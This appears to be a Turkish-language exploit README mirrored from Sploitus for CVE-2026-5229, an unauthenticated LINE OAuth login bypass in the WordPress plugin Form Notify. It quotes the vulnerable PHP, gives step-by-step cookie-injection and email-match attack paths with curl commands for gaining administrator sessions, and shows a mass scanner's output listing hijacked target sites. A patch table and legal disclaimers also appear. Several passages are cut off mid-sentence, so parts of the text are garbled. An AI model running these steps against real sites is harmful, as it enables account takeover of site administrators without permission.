Share
## https://sploitus.com/exploit?id=194FCC40-DA27-577D-9185-D842B7A46BEB
# CVE-2026-5229
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
# Form Notify — LINE OAuth Authentication Bypass Scanner

> **Plugin:** Form Notify (`form-notify`)
> **Zafiyet TĂŒrĂŒ:** Unauthenticated LINE OAuth Authentication Bypass → Account Takeover
> **CVSS Score:** 9.8 (Critical)
> **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
> **Etkilenen SĂŒrĂŒmler:**  **Yamalı SĂŒrĂŒm:** 1.1.11+
> **Araßtırmacı:** Paolo Tresso — Wordfence

---

## 📌 Zafiyet Hakkında

Form Notify eklentisi, form gönderimleri sonrası bildirim gönderen ve
**LINE Login OAuth 2.0** entegrasyonu sunan bir WordPress eklentisidir.

Zafiyet, LINE OAuth callback handler'ında bulunmaktadır. Kullanıcı
LINE yetkilendirme akıßını tamamladıktan sonra eklenti, WordPress
hesabını **yalnızca email adresine göre** çözĂŒmler. LINE hesabının
o WordPress hesabıyla daha önce ilißkilendirilip ilißkilendirilmediğini
**hiçbir zaman kontrol etmez.**

---

## 🔍 SĂŒrĂŒm Bazlı Zafiyet Tablosu

| SĂŒrĂŒm | Zafiyet | Saldırı Yöntemi |
|---|---|---|
|  'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // kimlik doğrulama gerekmez
        },
    )
);
```

---

### Nonce Neden Koruma Sağlamıyor?

WordPress nonce'ları **CSRF token**'dır, kimlik doğrulama token'ı değildir.
Her ziyaretçi sayfa HTML'inden geçerli bir nonce alabilir ve doğrulama
kontrolĂŒnĂŒ geçebilir.

---

### Email ile Hesap ÇözĂŒmleme (1.1.10)

```php
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
```

```php
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // sadece email ile arama
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // linkage kontrolĂŒ YOK
    }
    return false;
}
```

Eßleßme bulunursa `login()` metodu anında oturum açar:

```php
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}
```

---

### Cookie Injection (email ) ? $user->email : $line_email;
```

LINE profili email döndĂŒrmediğinde (`$user->email` boß),
eklenti **doğrudan tarayıcı cookie'sini** okur.
Saldırgan bu cookie'yi tamamen kontrol eder.

---

### State Doğrulama Zayıflığı

```php
$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // Transient yoksa $_SESSION'a dĂŒĆŸer
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
```

Transient sĂŒresi dolduysa `$_SESSION` fallback'i devreye girer.
Çoğu WordPress kurulumunda `$_SESSION` bu noktada dolu değildir →
state kontrolĂŒ atlatılabilir.

---

### İkincil Sorun — Email = ƞifre ( $user_email,  // Ɵifre = email adresi
    ...
);
```

LINE OAuth akıßıyla olußturulan hesaplarda ßifre, email adresiyle
aynıdır. Bu durum doğrudan brute-force veya login saldırısına
olanak tanır.

---

## 🔮 Neden Kritik?

| Sebep | Açıklama |
|---|---|
| **Kimlik doğrulama gerekmez** | Callback endpoint tamamen public |
| **Linkage kontrolĂŒ yok** | Herhangi LINE hesabı yeterli |
| **Cookie saldırısı** |  ⚠ **Disclaimer:** This PoC is provided for educational and authorized
> security testing purposes only. Testing against systems without explicit
> permission is illegal.

**Ön KoƟullar:**
- Form Notify eklentisi kurulu ve aktif, LINE Login yapılandırılmıß
- LINE developer hesabı ve LINE Login channel
- Hedef sitede LINE login butonu olan bir sayfa

---

### Path A — Cookie Injection (&1 | grep Location
```

#### Adım 3 — LINE OAuth Flow Baßlat

Location header'daki LINE OAuth URL'ini tarayıcıda aç.

#### Adım 4 — Email Scope VERMEDEn Tamamla

LINE consent ekranında email iznini **verme** veya emailsiz
bir LINE hesabı kullan. LINE, email olmadan callback'e yönlendirir.
Eklenti cookie'ye dĂŒĆŸer.

#### Adım 5 — Oturumu Doğrula

```bash
curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
```

Beklenen yanıt:

```json
{
  "id": 1,
  "name": "admin",
  "email": "admin@target.com",
  "roles": ["administrator"]
}
```

---

### Path B — Email Match ( roles=['administrator']
  Cookie      : {'wordpress_logged_in_abc123': 'admin|...'}

[~ MANUAL    ] http://hedef2.com  (Path A — Manuel tamamlama)
  Hedef Email : editor@hedef2.com
  Cookie Set  : form_notify_line_email=editor@hedef2.com
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  State       : a1b2c3d4e5f6

[- NO_LINE   ] http://hedef3.com  (LINE Login aktif değil)

──────────────────────────────────────────────────────────────
  DONE                        :    2
  NO_LINE                     :    1
──────────────────────────────────────────────────────────────
  Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
```

---

## đŸ›Ąïž Savunma / Yama

| Önlem | Uygulama |
|---|---|
| **Eklenti GĂŒncellemesi** | Form Notify 1.1.11+ sĂŒrĂŒmĂŒne yĂŒkselt |
| **LINE Linkage KontrolĂŒ** | LINE ID'yi kullanıcı meta'ya kaydet, her girißte doğrula |
| **Cookie Fallback Kaldır** | `$_COOKIE['form_notify_line_email']` kullanımını kaldır |
| **State Doğrulama** | Transient fallback'i kaldır, sĂŒresi dolmuß state'i reddet |
| **ƞifre Politikası** | `sign_up()`'ta email'i ßifre olarak kullanma |
| **REST Endpoint Koruması** | Callback endpoint'ine rate limiting uygula |

GĂŒvenli hesap çözĂŒmleme örneği:

```php
// GĂŒvensiz (mevcut)
$user = get_user_by( 'email', $line_email );

// GĂŒvenli (önerilen)
$users = get_users( array(
    'meta_key'   => 'line_user_id',
    'meta_value' => $line_user_id,  // LINE ID ile eßleßtir
) );
```

---

## 📁 Dosya Yapısı

```
form-notify-bypass/
├── form_notify_rce.py   # Ana tarayıcı
├── requirements.txt     # Bağımlılıklar
└── README.md            # Bu dosya
```

---

## ⚠ Yasal Uyarı

> Bu araç ve PoC yalnızca **yetkili sistemlerde**, **eğitim amaçlı** ve
> **penetrasyon testi** kapsamında kullanılmak ĂŒzere hazırlanmıßtır.
> İzinsiz sistemlerde kullanımı **TĂŒrk Ceza Kanunu 243-245. maddeleri**
> ve uluslararası siber suç yasaları kapsamında **suç teßkil eder.**
> Gelißtirici, aracın kötĂŒye kullanımından doğacak hiçbir hukuki
> sorumluluk kabul etmez.

---

## 📄 Lisans

MIT License — Yalnızca eğitim ve araßtırma amaçlıdır.

---

## 🔗 Referanslar

- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [LINE Login OAuth 2.0 Docs](https://developers.line.biz/en/docs/line-login/)
- [WordPress Plugin Directory — Form Notify](https://wordpress.org/plugins/form-notify/)
- [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1)
- [OAuth 2.0 Security Best Practices — RFC 9700](https://datatracker.ietf.org/doc/html/rfc9700)